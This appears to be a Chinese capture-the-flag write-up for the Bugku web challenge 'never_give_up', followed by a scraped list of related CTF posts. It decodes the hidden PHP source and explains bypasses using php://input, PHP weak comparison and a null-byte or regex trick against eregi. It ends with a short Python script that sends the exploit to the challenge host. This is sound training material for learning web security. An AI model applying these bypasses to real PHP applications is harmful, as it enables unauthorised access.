ctf-web-never_give

题目：

打开网址并查看源代码：

发现源代码中有提示1p.html

于是访问网址http://114.67.175.224:11868/1p.html，发现会自动跳转到bugku

尝试访问view-source:http://114.67.175.224:11868/1p.html，可以看到该网页源代码：

escape解码Words，得到：

对内的编码尝试使用base64解码得到：

%22%3Bif(!%24_GET%5B'id'%5D)%0A%7B%0A%09header('Location%3A%20hello.php%3Fid%3D1')%3B%0A%09exit()%3B%0A%7D%0A%24id%3D%24_GET%5B'id'%5D%3B%0A%24a%3D%24_GET%5B'a'%5D%3B%0A%24b%3D%24_GET%5B'b'%5D%3B%0Aif(stripos(%24a%2C'.'))%0A%7B%0A%09echo%20'no%20no%20no%20no%20no%20no%20no'%3B%0A%09return%20%3B%0A%7D%0A%24data%20%3D%20%40file_get_contents(%24a%2C'r')%3B%0Aif(%24data%3D%3D%22bugku%20is%20a%20nice%20plateform!%22%20and%20%24id%3D%3D0%20and%20strlen(%24b)%3E5%20and%20eregi(%22111%22.substr(%24b%2C0%2C1)%2C%221114%22)%20and%20substr(%24b%2C0%2C1)!%3D4)%0A%7B%0A%09%24flag%20%3D%20%22flag%7B***********%7D%22%0A%7D%0Aelse%0A%7B%0A%09print%20%22never%20never%20never%20give%20up%20!!!%22%3B%0A%7D%0A%0A%0A%3F%3E

再次escape解码得到：

";if(!$_GET['id'])
{header('Location: hello.php?id=1');exit();
}
$id=$_GET['id'];
$a=$_GET['a'];
$b=$_GET['b'];
if(stripos($a,'.'))
{echo 'no no no no no no no';return ;
}
$data = @file_get_contents($a,'r');
if($data=="bugku is a nice plateform!" and $id==0 and strlen($b)>5 and eregi("111".substr($b,0,1),"1114") and substr($b,0,1)!=4)
{$flag = "flag{***********}"
}
else
{print "never never never give up !!!";
}?>

发现想要得到flag需要判断条件：$data=="bugku is a nice plateform!" and $id==0 and strlen($b)>5 and eregi("111".substr($b,0,1),"1114") and substr($b,0,1)!=4为真：

1、$data=="bugku is a nice plateform!"

根据前提条件可以看出，$data = @file_get_contents($a,'r');但是根据

if(stripos($a,'.'))
{echo 'no no no no no no no';return ;
}

可知，$a内容不能包含'.'，因此这里不能上传$a文件，要想得到$data=="bugku is a nice plateform!"，可以对@file_get_contents($a,'r')使用php://input绕过：

a)先使得$a=php://input；b)再post传参@file_get_contents想要返回的数据。

2、 $id==0

根据

if(!$_GET['id'])
{header('Location: hello.php?id=1');exit();
}

可知不能直接传参$id=0，不然!$_GET['id']=!0为真，将会跳出整个脚本

因此可以利用php弱相关，如使得$id="0xas"，使得判断条件为假且$id==0

3、strlen($b)>5 and eregi("111".substr($b,0,1),"1114") and substr($b,0,1)!=4

想要同时满足以上三个条件，对于$b的第一个字符：

1）可以使用结束符%00，使得$b=%0011111

2）也可以使用正则表达式，如$b=?11111或者$b=.11111,$b=*11111都行（后五个字符随意）

如此，可以编写：

import requests
url="http://114.67.175.224:11868/hello.php?id=0x&b=%0011111&a=php://input"
headers={"Content-Type":"application/json"}pp=requests.post(url,headers=headers,data="bugku is a nice plateform!").text
print(pp)

得到flag：

ctf-web-never_give_up相关推荐

ctf web必备工具_设计人员和开发人员的必备Web工具和服务
ctf web必备工具 I cannot imagine that in 2018 there are people who don't use daily several web tools and ...
CTF Web入门命令执行笔记
CTF Web入门命令执行 eval(读取命令),但各种字符被ban if(!pregmatch("...",$c)) #指过滤了...eval($c); 这时候可以尝试 ?c= ...
CTF Web方向考点总结
CTF Web 0X00 前言做题已经快四个月了,接触了大大小小的题型,收藏的大师傅们的解题思路.题型总结的博客已经很多了,每次都要一个一个翻很麻烦,于是写下了这一个总结,实际上是把各大博客内容汇总 ...
CTF——web个人总结
CTF web个人总结仅供个人参考从0开始接触到了CTF,算是入门了,为了方便自己做题,现在记录一下web类型题目的解题思路. 目录 CTF web个人总结工具(含后渗透) 解题思路一.普通思 ...
CTF Web学习（三）----python脚本的编写及应用
CTF Web学习(三) python脚本的编写及应用 CTF Web学习目录链接 CTF Web学习(一):基础篇及头文件修改.隐藏 CTF Web学习(二):代码审计.burp suite应用 C ...
从0到1学习CTF WEB
从0到1学习CTF WEB web前置技能信息泄漏密码口令 SQL注入基础比较薄弱,准备逐题刷CTFHub的web类型题目顺便学习一下web方面的安全知识. web前置技能 1.请求方式: 隐藏 ...
CTF——Web网站备份源码泄露
CTF--Web网站备份源码泄露当遇到提示说到备份时,应该敏感地想到这是需要用到网站备份文件源码的. 一般这类题是和代码审计一起出的,一般都是需要获取到备份文件然后进行分析.下面就介绍一下网站备份的 ...
BugKu CTF Web
BugKu CTF Web 滑稽计算器 GET POST Simple_SSTI_1 矛盾 eval 变量1 Simple_SSTI_2 alert 你必须让他停下方法一方法二方法三网站被黑 ...
CG CTF WEB SQL注入2
http://4.chinalover.sinaapp.com/web6/index.php 题解: <html> <head> Secure Web Login II < ...
CG CTF WEB SQL注入1
http://chinalover.sinaapp.com/index.php 题解: <html> <head> Secure Web Login </head> ...

ctf-web-never_give_up

ctf-web-never_give_up相关推荐

最新文章

热门文章